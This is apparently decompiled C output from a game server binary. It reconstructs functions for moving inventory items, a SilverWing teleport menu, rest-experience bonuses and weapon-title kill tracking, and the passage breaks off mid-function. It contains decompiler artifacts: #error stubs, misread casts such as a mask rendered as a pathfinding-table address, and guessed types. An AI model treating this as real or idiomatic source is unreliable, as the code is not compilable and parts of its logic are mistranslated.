(00528E90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Move4Activ(void *sp, int slot, __int16 to, __int16 from) { void *v4; // esi@1 __int16 v5; // di@1 int v6; // ebx@1 int v7; // eax@5 char *v8; // edi@6 int v9; // eax@6 ZoneBaseSession *v10; // eax@8 int v11; // edi@9 int v12; // eax@9 int v13; // edi@9 int v14; // eax@9 int v15; // eax@9 v4 = sp; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move4Activ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Move4Activ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = slot; v6 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8892))((char *)v4 + 35568, slot); if ( !v6 || *(_DWORD *)v6 != *(_DWORD *)to || *(_DWORD *)(v6 + 4) != *(_DWORD *)(to + 4) ) { LABEL_10: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, 1792, 9); goto LABEL_11; } if ( from == 15 ) { v7 = ItemSmallBag::isb_FindEmpty( (ItemSmallBag *)v4 + 14231, (#440 *)v4); if ( v7 >= 0 ) { to = v5 & 0x3FF | 0x2400; v8 = gpp.pp_Buffer; LOWORD(slot) = v7 & 0x3FF | 0x3C00; *((_WORD *)gpp.pp_Buffer + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *(_WORD *)v8 = 13352; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v8 + 3) = v9; *((_DWORD *)v8 + 2) = v9; *((_WORD *)v8 + 8) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4) + 4); *((_WORD *)v8 + 13) = slot; *(_DWORD *)(v8 + 18) = *(_DWORD *)v6; *(_DWORD *)(v8 + 22) = *(_DWORD *)(v6 + 4); *((_WORD *)v8 + 14) = to; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 30) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail(&shineassert, "ItemRelocationManager::irm_Move : Packet Too Long", 30); } v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, int, __int16 *, int *))(*(_DWORD *)v11 + 40))( v11, *(_WORD *)(v12 + 4), v6, &to, &slot); v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); LOWORD(v14) = *(_WORD *)(v14 + 4); (*(void (__thiscall **)(int, int, int *, int, int *, __int16 *))(*(_DWORD *)v13 + 52))( v13, v14, &slot, v6, &slot, &to); v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v15 + 4); goto LABEL_10; } } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move4Activ"); } //----- (005290B0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_Cancel(ServerMenuFuncter *this, #440 *a2, ServerMenuArgument *arg) { ServerMenuFuncter *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Cancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_Cancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_silverwing_Cancel((void *)a2, (int)arg); ServerMenuFuncter::smfm_Cancel(v3, a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Cancel"); } //----- (00529160) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_Portal(ServerMenuFuncter *this, #440 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Portal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_Portal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_SilverWing_PortalCast(a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_Portal"); } // 525FC0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SilverWing_PortalCast(_DWORD, _DWORD); //----- (00529200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Setloc(void *this, int inven) { void *v2; // ebx@1 int v3; // edx@1 int v4; // ST0C_4@1 int v5; // eax@1 int v6; // ebp@1 unsigned __int16 v7; // ax@1 int v8; // eax@3 char *v9; // eax@5 int v10; // eax@5 signed int v11; // [sp-8h] [bp-9Ch]@2 signed int v12; // [sp-4h] [bp-98h]@2 char *v13; // [sp-4h] [bp-98h]@5 char silverwing; // [sp+14h] [bp-80h]@5 int v15; // [sp+1Dh] [bp-77h]@5 int v16; // [sp+21h] [bp-73h]@5 int v17; // [sp+25h] [bp-6Fh]@5 __int16 v18; // [sp+80h] [bp-14h]@5 char v19; // [sp+82h] [bp-12h]@5 unsigned int v20; // [sp+84h] [bp-10h]@8 int v21; // [sp+90h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8892); v4 = *(_WORD *)inven & 0x3FF; v21 = 0; v5 = (*(int (__thiscall **)(char *, int))v3)((char *)v2 + 35568, v4); v6 = v5; v7 = *(_WORD *)(v5 + 8); if ( v7 != unk_12510DB8 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_silverwing_Setloc : wrong item", v7); v12 = 9; v11 = 1795; LABEL_7: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, v11, v12); v21 = -1; v13 = "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"; goto LABEL_8; } v8 = *(_DWORD *)((char *)v2 + 98); if ( !v8 || !*(_BYTE *)(*(_DWORD *)(v8 + 12) + 107) ) { v12 = 9; v11 = 1807; goto LABEL_7; } memcpy(&silverwing, (const void *)v6, 0x6Cu); v18 = *(_WORD *)(v6 + 108); v19 = *(_BYTE *)(v6 + 110); BYTE1(v15) = 1; v9 = NameString::operator__(&namestring, (Name3 *)v8); HIWORD(v15) = MapDataBox::mdb_2mapid(&mapdatabox, v9); v10 = *(_DWORD *)((char *)v2 + 78); v16 = *(_DWORD *)v10; v17 = *(_DWORD *)(v10 + 4); ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v2, v6, *(_DWORD *)(v6 + 112), (int)&silverwing, inven); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); v21 = -1; v13 = "ShineObjectClass::ShinePlayer::sp_silverwing_Setloc"; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); __security_check_cookie(v20); } //----- (005293A0) -------------------------------------------------------- char __thiscall UseEffect::UseItemActionItem::uib_DirectUse(UseEffect::UseItemActionItem *this, #440 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemActionItem::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemActionItem::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Move4Activ((void *)a2, slot, (__int16)itm, 15); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemActionItem::uib_DirectUse"); return 1; } //----- (00529450) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Silverwing_LocSet(ServerMenuFuncter *this, #440 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_LocSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Silverwing_LocSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_silverwing_Setloc((void *)a2, (int)arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Silverwing_LocSet"); } //----- (005294F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWingMenu(void *this, __int16 slot, int itm) { void *v3; // esi@1 int v4; // eax@3 __int16 v5; // ST34_2@3 const char *v6; // eax@3 const char *v7; // eax@4 const char *v8; // ST10_4@5 const char *v9; // eax@5 void *v10; // eax@5 void *v11; // eax@5 __int16 invenloc; // [sp+Ch] [bp-150h]@0 ServerMenuArgument portal; // [sp+14h] [bp-148h]@3 ServerMenuArgument cancel; // [sp+7Ch] [bp-E0h]@3 ServerMenuArgument setloc; // [sp+E4h] [bp-78h]@3 unsigned int v16; // [sp+14Ch] [bp-10h]@6 int v17; // [sp+158h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( ServerMenuActor::sma_IsReady((ServerMenuActor *)((char *)v3 + 68344)) && !*(_DWORD *)((char *)v3 + 68295) ) { v4 = *(_DWORD *)((char *)v3 + 78); *((_WORD *)v3 + 34162) = -1; *((_DWORD *)v3 + 17082) = 0; *((_DWORD *)v3 + 17086) = *(_DWORD *)v4; *((_DWORD *)v3 + 17087) = *(_DWORD *)(v4 + 4); v5 = invenloc & 0x3FF | 0x2400; *(_WORD *)&cancel.sma_link.sml_lnkinf.index[0] = v5 ^ (v5 ^ slot) & 0x3FF; *(_WORD *)&portal.sma_link.sml_lnkinf.index[0] = v5 ^ (v5 ^ slot) & 0x3FF; *(_WORD *)&setloc.sma_link.sml_lnkinf.index[0] = v5 ^ (v5 ^ slot) & 0x3FF; v6 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingTitle"); ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(v3, v6); if ( *(_BYTE *)(itm + 10) ) { v7 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingPortal"); ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v3, ServerMenuFuncter::smfm_Silverwing_Portal, v7, &portal); } v8 = ShineScript::ss_String(&shinescriptetc, "Cancel"); v9 = ShineScript::ss_String(&shinescriptmenusting, "SilverWingLocSet"); v10 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v3, ServerMenuFuncter::smfm_Silverwing_LocSet, v9, &setloc); v11 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v10, ServerMenuFuncter::smfm_Silverwing_Cancel, v8, &cancel); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(v11, 0, -1, 0, 1000); } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWingMenu"); __security_check_cookie(v16); } //----- (005296D0) -------------------------------------------------------- char __thiscall UseEffect::UseItemSilverWing::uib_DirectUse(UseEffect::UseItemSilverWing *this, #440 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemSilverWing::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemSilverWing::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_SilverWingMenu((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemSilverWing::uib_DirectUse"); return 1; } //----- (00529770) -------------------------------------------------------- void __thiscall RestExpCalculate::RestExpCalculate(RestExpCalculate *this) { RestExpCalculate *v1; // esi@1 v1 = this; this->m_NeedTime = ShineCommonParameter::operator_>(&shineparam)->MinNeedTime; v1->m_FirstAddBuffTime = ShineCommonParameter::operator_>(&shineparam)->DefaultBonusTime; v1->m_InterValTime = ShineCommonParameter::operator_>(&shineparam)->IntervalTime; v1->m_AddBuffTime = ShineCommonParameter::operator_>(&shineparam)->AddBuffTime; v1->m_BuffMaxTime = ShineCommonParameter::operator_>(&shineparam)->MaxBuffTime; } //----- (005297D0) -------------------------------------------------------- unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecond(RestExpCalculate *this, const int *rNewTime, const int *rOldTime) { unsigned int result; // eax@2 int v4; // eax@3 int v5; // edx@4 int v6; // eax@4 int v7; // ecx@4 if ( *rNewTime <= *rOldTime || (v4 = *rNewTime - *rOldTime, v4 < this->m_NeedTime) ) { result = 0; } else { v5 = this->m_FirstAddBuffTime; v6 = this->m_AddBuffTime * (v4 - this->m_NeedTime) / this->m_InterValTime; v7 = 1000 * this->m_BuffMaxTime; result = 1000 * (v5 + v6); if ( v7 < result ) result = v7; } return result; } //----- (00529820) -------------------------------------------------------- unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecondNotDefaultTime(RestExpCalculate *this, const int *rNewTime, const int *rOldTime) { unsigned int result; // eax@2 int v4; // eax@3 int v5; // ecx@4 if ( *rNewTime <= *rOldTime || (v4 = *rNewTime - *rOldTime, v4 < this->m_NeedTime) ) { result = 0; } else { result = 1000 * this->m_AddBuffTime * ((v4 - this->m_NeedTime) / this->m_InterValTime + 1); v5 = 1000 * this->m_BuffMaxTime; if ( v5 < result ) result = v5; } return result; } //----- (00529860) -------------------------------------------------------- #error "529860: undefined or illegal type '#440' (funcsize=108)" //----- (00529980) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon) { ItemTotalInformation *v3; // ebx@1 WEAPON_TITLE_DATA *result; // eax@2 signed int v5; // esi@3 unsigned __int16 *v6; // edi@3 CWeaponTitle *thisa; // [sp+0h] [bp-4h]@1 v3 = pWeapon; thisa = (CWeaponTitle *)this; if ( pWeapon ) { v5 = 0; v6 = (unsigned __int16 *)((char *)&pWeapon->iti_itemstruct.itemattr.dlot.lot + 3); while ( MobDataBox::mdb_SpeciesDistance(&mobdatabox, *v6, MobID) < 0 ) { ++v5; v6 += 3; if ( v5 >= 3 ) return 0; } result = CWeaponTitle::GetLevelData( thisa, *(_WORD *)((char *)&v3->iti_itemstruct.itemattr.dlot.lot + 6 * v5 + 3), (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & *(_DWORD *)(&v3->iti_itemstruct.itemattr.amulet.strengthen + 6 * v5), (unsigned int *)&pWeapon); } else { result = 0; } return result; } //----- (00529A00) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon, unsigned int *pLevel) { WEAPON_TITLE_DATA *result; // eax@1 char *v5; // edx@2 result = 0; if ( pWeapon ) { v5 = (char *)&pWeapon->iti_itemstruct.itemattr.dlot.lot + 3; while ( *(_WORD *)v5 != MobID ) { result = (WEAPON_TITLE_DATA *)((char *)result + 1); v5 += 6; if ( (signed int)result >= 3 ) return 0; } result = CWeaponTitle::GetLevelData( &this->baseclass_0, MobID, (unsigned int)((char *)&pathfindtable.pft_table[1411][1203].pfc_distance + 3) & *(_DWORD *)(&pWeapon->iti_itemstruct.itemattr.amulet.strengthen + 6 * (_DWORD)result), pLevel); } return result; } //----- (00529A50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_EquipWeapon(void *this, int inv) { void *v2; // esi@1 int v3; // esi@1 int v4; // eax@1 int v5; // edi@1 unsigned __int16 v6; // bx@1 FunctionProfiler::PerformanceRecorder *v7; // ecx@4 int result; // eax@5 int v9; // eax@7 int v10; // esi@7 int v11; // eax@8 char *v12; // [sp-4h] [bp-24h]@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)((char *)v2 + 32200); *(_WORD *)inv = 8204; v4 = (**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, 12); v5 = v4; v6 = *(_WORD *)(v4 + 8); if ( v6 == -1 ) { *(_WORD *)inv = *(_WORD *)inv & 0xFC0A | 0xA; v9 = (**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, 10); v10 = v9; if ( *(_WORD *)(v9 + 8) == -1 ) goto LABEL_4; v11 = (*(int (**)(void))(**(_DWORD **)(v9 + 112) + 36))(); --funcallanalizer.fca_stackpoint; v12 = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; v7 = &_PerformanceRecorder; if ( v11 != 5 ) goto LABEL_5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); result = v10; } else { if ( (*(int (**)(void))(**(_DWORD **)(v4 + 112) + 36))() != 5 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_EquipWeapon : not weapon in righthand", v6); LABEL_4: --funcallanalizer.fca_stackpoint; v7 = &_PerformanceRecorder; v12 = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; LABEL_5: FunctionProfiler::PerformanceRecorder::pr_Exit(v7, v12); return 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); result = v5; } return result; } //----- (00529BE0) -------------------------------------------------------- #error "529BE0: undefined or illegal type '#331' (funcsize=106)" //----- (00529D70) -------------------------------------------------------- #error "529D70: undefined or illegal type '#331' (funcsize=109)" //----- (00529F10) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK"); } //----- (00529F60) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_WT_TITLE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_WT_TITLE_SET_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_WT_TITLE_SET_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_WT_TITLE_SET_ACK"); } //----- (00529FB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_saveweapontitle(void *this, int itemkey, __int16 mobid, int KillCount) { void *v4; // edi@1 char *v5; // esi@1 int v6; // edx@1 ZoneBaseSession *v7; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_saveweapontitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_saveweapontitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23561; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = *(_DWORD *)itemkey; v6 = *(_DWORD *)(itemkey + 4); *(_DWORD *)(v5 + 18) = KillCount; *((_DWORD *)v5 + 3) = v6; *((_WORD *)v5 + 8) = mobid; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_weapontitle To sock2gameDB : Packet Too Long", 22); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_saveweapontitle"); } //----- (0052A0C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(void *this, int pReq, int weaponcell, int clearitemcell) { void *v4; // ebx@1 __int16 v5; // dx@1 signed int v6; // eax@1 __int16 *v7; // ecx@1 char *v8; // eax@5 int v9; // eax@7 char *v10; // ebx@8 int v11; // eax@8 int v12; // eax@8 int v13; // eax@9 int v14; // esi@11 int v15; // ecx@12 ZoneBaseSession *v16; // eax@13 void *v17; // ebx@15 int v18; // esi@15 int v19; // eax@15 void *v20; // [sp+28h] [bp-10Ch]@1 int clearattrb; // [sp+2Ch] [bp-108h]@8 int clearitemlot; // [sp+34h] [bp-100h]@8 int weapon; // [sp+3Ch] [bp-F8h]@1 int v24; // [sp+40h] [bp-F4h]@8 __int16 v25; // [sp+49h] [bp-EBh]@1 char v26[97]; // [sp+4Bh] [bp-E9h]@8 __int16 v27; // [sp+A8h] [bp-8Ch]@1 char v28; // [sp+AAh] [bp-8Ah]@1 char clearitem; // [sp+ACh] [bp-88h]@8 char v30; // [sp+B4h] [bp-80h]@10 __int16 v31; // [sp+118h] [bp-1Ch]@8 char v32; // [sp+11Ah] [bp-1Ah]@8 unsigned int cookie; // [sp+120h] [bp-14h]@18 int v34; // [sp+130h] [bp-4h]@1 v4 = this; v20 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy(&weapon, (const void *)weaponcell, 0x6Cu); v27 = *(_WORD *)(weaponcell + 108); v28 = *(_BYTE *)(weaponcell + 110); v5 = *(_WORD *)(pReq + 4); v6 = 0; v34 = 0; v7 = &v25; do { if ( *v7 == v5 ) break; ++v6; v7 += 3; } while ( v6 < 3 ); if ( v6 == 3 ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23554; *((_WORD *)v8 + 1) = *(_WORD *)pReq; *((_WORD *)v8 + 2) = *(_WORD *)(pReq + 2); v8[6] = 0; *(_WORD *)(v8 + 7) = 2496; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::sp_NC_WT_LICENSE_REQ : Packet Too Long", 9); } } else { v10 = gpp.pp_Buffer; v11 = 6 * v6; *(__int16 *)((char *)&v25 + v11) = -1; *(_DWORD *)&v26[v11] = 0; *(_WORD *)v10 = 23559; *((_WORD *)v10 + 1) = *((_WORD *)v20 + 2); *((_DWORD *)v10 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 836))(v20); *((_WORD *)v10 + 4) = *((_WORD *)v20 + 28886); *(_DWORD *)(v10 + 14) = weapon; *(_DWORD *)(v10 + 18) = v24; *((_WORD *)v10 + 11) = *(_WORD *)(pReq + 4); *((_WORD *)v10 + 5) = *(_WORD *)pReq; *((_WORD *)v10 + 6) = *(_WORD *)(pReq + 2); clearattrb = *(_DWORD *)(clearitemcell + 112); v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(clearitemcell + 112) + 24))(clearitemcell + 8); memcpy(&clearitem, (const void *)clearitemcell, 0x6Cu); v31 = *(_WORD *)(clearitemcell + 108); v32 = *(_BYTE *)(clearitemcell + 110); *((_DWORD *)v10 + 6) = *(_DWORD *)clearitemcell; *((_DWORD *)v10 + 7) = *(_DWORD *)(clearitemcell + 4); clearitemlot = v12; *((_WORD *)v10 + 16) = *(_WORD *)(clearitemcell + 8); if ( v12 == 1 ) { v10[34] = 1; v13 = 0; *(_WORD *)(v10 + 35) = 0; } else { v10[34] = 0; (*(void (__stdcall **)(char *, int))(*(_DWORD *)clearattrb + 28))(&v30, v12 - 1); v13 = (**(int (__stdcall ***)(char *, char *))clearattrb)(&v30, v10 + 37) - (_DWORD)(v10 + 37); *(_WORD *)(v10 + 35) = 35; } v14 = v13 + 37; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v13 + 37) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_WeaponLicenseClear : Packet Too Long", v14); } if ( clearitemlot == 1 ) { v17 = v20; v18 = (int)((char *)v20 + 57768); v19 = (*(int (__thiscall **)(char *, _DWORD, int, int, int))(*((_DWORD *)v20 + 14442) + 40))( (char *)v20 + 57768, *((_WORD *)v20 + 28886), clearitemcell, pReq, pReq); } else { LOWORD(v15) = *((_WORD *)v20 + 28886); v18 = (int)((char *)v20 + 57768); v19 = (*(int (__thiscall **)(char *, int, int, char *, int, int))(*((_DWORD *)v20 + 14442) + 48))( (char *)v20 + 57768, v15, clearitemcell, &clearitem, pReq, pReq); v17 = v20; } LOWORD(v19) = *((_WORD *)v17 + 28886); (*(void (__thiscall **)(int, int, int, int *, int, int))(*(_DWORD *)v18 + 48))( v18, v19, weaponcell, &weapon, pReq + 2, pReq + 2); ++*(_WORD *)(v18 + 4); } --funcallanalizer.fca_stackpoint; v34 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"); __security_check_cookie(cookie); } // 52A0C0: using guessed type char var_E9[97]; //----- (0052A3C0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_weapontitle(void *this, unsigned __int16 *mobid) { void *v2; // ebx@1 int v3; // edx@1 void *v4; // edi@1 unsigned __int16 *v5; // ebp@3 MobDataBox::MobDataBoxIndex *v6; // eax@3 int v8; // esi@7 int v9; // eax@7 signed int v10; // esi@9 unsigned __int16 *v11; // edi@9 char *v12; // edi@13 unsigned __int16 v13; // ax@13 unsigned int v14; // esi@13 int v15; // esi@13 unsigned int v16; // ecx@13 char *v17; // esi@16 __int16 v18; // ax@16 char v19; // al@16 int v20; // eax@17 char *v21; // [sp-4h] [bp-30h]@2 ITEM_INVEN inv; // [sp+10h] [bp-1Ch]@1 char *cell; // [sp+14h] [bp-18h]@1 unsigned int NewRank; // [sp+18h] [bp-14h]@13 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v26; // [sp+28h] [bp-4h]@1 unsigned int mobida; // [sp+30h] [bp+4h]@13 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_weapontitle"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_weapontitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_weapontitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v26 = 0; v4 = (void *)(*(int (__thiscall **)(void *, ITEM_INVEN *))(v3 + 1876))(v2, &inv); cell = (char *)v4; if ( !v4 ) { v26 = -1; v21 = 